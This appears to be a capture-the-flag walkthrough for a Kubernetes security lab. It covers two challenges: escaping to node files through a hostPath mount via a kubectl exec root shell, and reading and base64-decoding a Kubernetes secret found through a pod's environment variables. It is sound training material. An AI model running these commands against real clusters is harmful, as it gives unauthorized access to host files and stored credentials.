The Airborneio 24 challenge requires you to find a flag located on the Kubernetes node's file system. Without direct access to the file system and a view only Kubernetes role, you will need to find a misconfiguration in an existing resource to gain access to the flag.
+Pods often need to store data on the file system as processes execute. Kubernetes supports many different volume types. The Kubernetes hostPath volume mount provides persisted storage for a pod using a directory on the host node's filesystem. Often the most simple way to gain persisted storage, the host path mount can be a powerful attack vector for privilege escalation.
+Review the pod configurations in the hth namespace. Which pod is using a hostPath mount configuration? What directory on the host node's filesystem is being mounted into the pod?
List the pods running in the hth namespace. Make a note of the api pod's name, as you will need this in the next step.
kubectl get pods -n hth
+Expected Output
+NAME READY STATUS RESTARTS AGE
+api-randomid 1/1 Running 0 2d21h
+ui-randomid 1/1 Running 0 2d21h
+Describe the configuration for each pod using the kubectl describe pod command. Search the output for the pod that has a Volume with a Type set to HostPath. The volume's Path is pointing to a directory on the node's file system that will be accessible from inside a pod running in the cluster.
kubectl describe pod -n hth ENTER_API_POD_NAME
+Expected Output
+Volumes:
+ hth:
+ Type: HostPath (bare host directory volume)
+ Path: ?????
+ HostPathType: DirectoryOrCreate
+The same pod will have a Mount referencing the hth volume. The mount will specify that specifies the directory inside the container.
+Expected Output
+Mounts:
+ ????? from hth (ro)
+ /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-rgfww (ro)
+With this knowledge, you have discovered a host path mount attack path to get from a compromised api pod to the node's filesystem.
+Pod: api-randomid
+Pod Mount Location: /mnt/hth/
+Host Path Location: /opt/data/hth
+Given a scenario where the pod is compromised, an attacker can use the hostPath volume mount to gain unauthorized access data on the Kubernetes node. Use the kubectl exec command to obtain a shell on the compromised pod and exfiltrate the airborneio-24 flag from the Kubernetes node's filesystem.
Use the kubectl exec command to obtain a shell on the compromised pod.
kubectl exec --stdin --tty -n hth ENTER_API_POD_NAME -- /bin/bash
+Expected Output
+root@api-randomid:/#
+Once inside the pod, list the contents of the mount location.
+ls -l ?????
+Expected Output
+total 0
+drwxr-xr-x. 2 root root 68 Nov 8 23:03 api
+drwxr-xr-x. 2 root root 27 Nov 8 23:03 secrets
+List the contents of the directory to find the airborneio-24 flag.
ls -l ?????/secrets/
+Expected Output
+-rw-r--r--. 1 root root 42 Nov 8 23:03 airborneio-24
+Use the cat command to read the contents of the airborneio-24 file and retrieve the flag.
Run the following command to exit the shell and return to your local machine.
+exit
+The airborneio-24 flag is located in the /mnt/hth/secrets directory on the container's filesystem.
cat /mnt/hth/secrets/airborneio-24
+Expected Output
+hth{?????}
+Congratulations! You have identified a host path mount misconfiguration and exfiltrated the Airborneio 24 flag from the Kubernetes node's file system.
+Continue to the Shadowhawk Challenge to learn how Kubernetes pods can inherit permissions from the underlying Kubernetes node.
+ + + + + + + + + + + + + +The API Key Challenge challenge requires you to find a flag stored as a Kubernetes Secret. Unfortunately, the kubeace-maverick IAM user does not have permissions to list secrets. Without this permission, you will need to find the pod using the secret, identify the secret name, and access the secret directly.
+Kubernetes secrets are often used to store sensitive information, such as passwords, API keys, and private keys, and feed those secrets into a pod as an environment variable or a volume mount. Kubernetes secrets are defined for a pod using the container specification's volume or an environment variable.
+To exfiltrate the secret, you will need to find the name of the secret first. Review the pod specifications in the hth namespace. Which pod is referencing a Kubernetes secret? What is the name of the secret?
List the pods running in the hth namespace.
kubectl get pods -n hth
+Expected Output
+NAME READY STATUS RESTARTS AGE
+api-randomid 1/1 Running 0 2d21h
+ui-randomid 1/1 Running 0 2d21h
+Use the kubectl describe pod command to view each pod's configuration. Review the Volumes and Environment configurations to identify any secrets being used. Observe that one pod is referencing a Kubernetes secret in an environment variable called AVIATA_API_KEY.
kubectl describe pod -n hth ENTER_POD_NAME
+Expected Output
+Environment:
+ AVIATA_API_KEY: <set to the key 'value' in secret '?????'> Optional: false
+Note the name of the secret referenced in the pod's environment variable. You will need the name to exfiltrate the flag.
+The ui-random-id pod is referencing a Kubernetes secret named ui-api-key in an environment variable called AVIATA_API_KEY.
Expected Output
+Environment:
+ AVIATA_API_KEY: <set to the key 'value' in secret 'ui-api-key'> Optional: false
+Now that you have identified the Kubernetes secret name, use kubectl read the Kubernetes API Key secret and decode the flag.
Use the kubectl get secret command to read the secret. Observe the output confirms that the secret exists, but does not display the secret's value.
kubectl get secret -n hth ?????
+Expected Output
+NAME TYPE DATA AGE
+????? Opaque 1 4d18h
+Run the Use kubectl get secret command again using the output (-o) option to format the response as YAML or JSON. This will display the secret's value in base64 encoding.
kubectl get secret -n hth ????? -o json
+Expected Output
+{
+ "apiVersion": "v1",
+ "data": {
+ "value": "?????"
+ },
+ "kind": "Secret",
+ "metadata": {
+ "creationTimestamp": "2024-11-08T23:19:54Z",
+ "name": "?????",
+ "namespace": "hth",
+ "resourceVersion": "6084",
+ "uid": "84fb5c38-1604-4bb3-a06f-0599b7f832d4"
+ },
+ "type": "Opaque"
+}
+Base64 decode the secret's value to reveal the flag.
echo "?????" | base64 -d
+Run the following command to decode the secret's value and reveal the flag.
+kubectl get secret -n hth ui-api-key -o json | jq -r .data.value | base64 -d
+Expected Output
+hth{?????}
+Congratulations! You have successfully located the API Key Kubernetes secret being used by the UI pod. Then, decoded the value to reveal the flag.
+Continue to the Cascadia Cockpit Voice Recorders (CVR) Challenge to learn how the Kubernetes node is authenticating to the private container registry and pulling images.
+ + + + + + + + + + + + + +